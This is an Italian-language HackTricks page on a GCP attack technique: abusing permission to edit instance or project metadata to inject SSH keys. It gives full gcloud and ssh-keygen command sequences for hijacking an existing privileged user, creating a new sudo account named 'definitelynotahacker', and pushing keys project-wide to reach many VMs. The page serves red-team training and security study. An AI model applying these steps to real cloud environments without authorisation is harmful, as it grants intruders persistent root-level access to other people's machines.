GCP - Add Custom SSH Metadata

GCP - Aggiungere Metadati SSH Personalizzati

Impara l'hacking AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Modifica dei metadati

La modifica dei metadati su un'istanza potrebbe comportare significativi rischi per la sicurezza se un attaccante acquisisce le autorizzazioni necessarie.

Incorporazione delle Chiavi SSH nei Metadati Personalizzati

Su GCP, i sistemi Linux eseguono spesso script dall'Ambiente Guest Linux Python per Google Compute Engine. Un componente critico di questo è il daemon degli account, progettato per controllare regolarmente il punto finale dei metadati dell'istanza per aggiornamenti delle chiavi pubbliche SSH autorizzate.

Pertanto, se un attaccante può modificare i metadati personalizzati, potrebbe far sì che il daemon trovi una nuova chiave pubblica, che verrà elaborata e integrata nel sistema locale. La chiave verrà aggiunta nel file ~/.ssh/authorized_keys di un utente esistente o potenzialmente creando un nuovo utente con privilegi sudo, a seconda del formato della chiave. E l'attaccante sarà in grado di compromettere l'host.

Aggiungere una chiave SSH a un utente privilegiato esistente

  1. Esaminare le Chiavi SSH Esistenti sull'Istanza:

  • Esegui il comando per descrivere l'istanza e i suoi metadati per individuare le chiavi SSH esistenti. La sezione rilevante nell'output sarà sotto metadata, in particolare la chiave ssh-keys.

gcloud compute instances describe [ISTANZA] --zone [ZONA]
  • Presta attenzione al formato delle chiavi SSH: il nome utente precede la chiave, separato da due punti.

  1. Prepara un File di Testo per i Metadati delle Chiavi SSH:

  • Salva i dettagli dei nomi utente e delle relative chiavi SSH in un file di testo chiamato meta.txt. Questo è essenziale per preservare le chiavi esistenti mentre se ne aggiungono di nuove.

  1. Genera una Nuova Chiave SSH per l'Utente Target (alice in questo esempio):

  • Usa il comando ssh-keygen per generare una nuova chiave SSH, assicurandoti che il campo commento (-C) corrisponda al nome utente target.

ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
  • Aggiungi la nuova chiave pubblica a meta.txt, imitando il formato trovato nei metadati dell'istanza.

  1. Aggiorna i Metadati delle Chiavi SSH dell'Istanza:

  • Applica i metadati delle chiavi SSH aggiornati all'istanza usando il comando gcloud compute instances add-metadata.

gcloud compute instances add-metadata [ISTANZA] --metadata-from-file ssh-keys=meta.txt
  1. Accedi all'Istanza Utilizzando la Nuova Chiave SSH:

  • Connettiti all'istanza con SSH utilizzando la nuova chiave, accedendo alla shell nel contesto dell'utente target (alice in questo esempio).

ssh -i ./key alice@localhost
sudo id

Creare un nuovo utente privilegiato e aggiungere una chiave SSH

Se non viene trovato alcun utente interessante, è possibile crearne uno nuovo a cui verranno dati privilegi sudo:

# define the new account username
NEWUSER="definitelynotahacker"

# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""

# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt

# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt

# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost

Chiavi SSH a livello di progetto

È possibile ampliare la portata dell'accesso SSH a più Macchine Virtuali (VM) in un ambiente cloud applicando chiavi SSH a livello di progetto. Questo approccio consente l'accesso SSH a qualsiasi istanza all'interno del progetto che non abbia esplicitamente bloccato le chiavi SSH a livello di progetto. Ecco una guida riassuntiva:

  1. Applica le Chiavi SSH a Livello di Progetto:

  • Utilizza il comando gcloud compute project-info add-metadata per aggiungere le chiavi SSH da meta.txt ai metadati del progetto. Questa azione garantisce che le chiavi SSH siano riconosciute su tutte le VM nel progetto, a meno che una VM abbia abilitato l'opzione "Blocca le chiavi SSH a livello di progetto".

gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
  1. Accedi alle Istanze Utilizzando le Chiavi a Livello di Progetto:

  • Con le chiavi SSH a livello di progetto in posizione, puoi accedere via SSH a qualsiasi istanza all'interno del progetto. Le istanze che non bloccano le chiavi a livello di progetto accetteranno la chiave SSH, concedendo l'accesso.

  • Un metodo diretto per accedere via SSH a un'istanza è utilizzare il comando gcloud compute ssh [ISTANZA]. Questo comando utilizza il tuo nome utente attuale e le chiavi SSH impostate a livello di progetto per tentare l'accesso.

Riferimenti

Impara l'hacking AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated